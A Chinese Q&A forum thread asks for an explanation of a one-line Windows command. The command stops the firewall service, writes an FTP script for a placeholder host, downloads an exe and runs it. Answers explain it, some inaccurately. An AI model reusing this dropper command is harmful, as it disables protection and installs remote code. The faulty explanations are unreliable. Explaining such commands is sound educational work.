下列语句上是由DOS拼凑而成的.
%windir%\system32\cmd.exe /c net stop sharedaccess&echo open xxxxxxx> t.t&echo xxxx>>t.t&echo xxxx>>t.t&echo get xxx.exe c:\xxx.exe >> t.t&echo bye >> t.t&ftp -s:t.t&del t.t&c:\xxx.exe
1.%windir%是什么意思? %代表?
2. t.t&?
3.翻译上面的语句,翻译的越详细加分越多!
上面的是多行链接的,分开后如下:
%windir%\system32\cmd.exe /c net stop sharedaccess
echo open xxxxxxx> t.t
echo xxxx>>t.t
echo xxxx>>t.t
echo get xxx.exe c:\xxx.exe >> t.t
echo bye >> t.t
ftp -s:t.t --------执行FTP脚本
del t.t
c:\xxx.exe
意思是ftp从一个网站上下载一个exe文件并执行它。t.t是FTP脚本。
%windir%是环境变量,%是变量的标志。
%windir% 系统安装所在路径,一般系统安装在c盘,比如xp,那这个就返回c:\windows\
如果是win2k就返回c:\winnt\
t.t是个文件,文件名为t ,扩展名为t
open xxxxxxx> t.t 打开一个文件,将里面的内容输出到新文件t.t中
%windir%\system32\cmd.exe 打开cmd窗口,准备执行dos命令
net stop sharedaccess 这是关闭SharedAccess(Intemet连接共享和防火墙服务)。
下面是使用ftp命令下载xxx.exe文件到本机,保存到t.t文件中,然后删除下载在本机的xxx.exe文件
echo get xxx.exe c:\xxx.exe >> t.t&echo bye >> t.t&ftp -s:t.t&del t.t&c:\xxx.exe
1..%windir%代表C:\WINDOWS.你可以输入到你的电脑上的地址栏试试。
肯定会出来C:\WINDOWS。这是微软命名的缩写形式。
而第2个不知道,估计是某个程序执行的代码吧!
如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
点此我要举报以上问答信息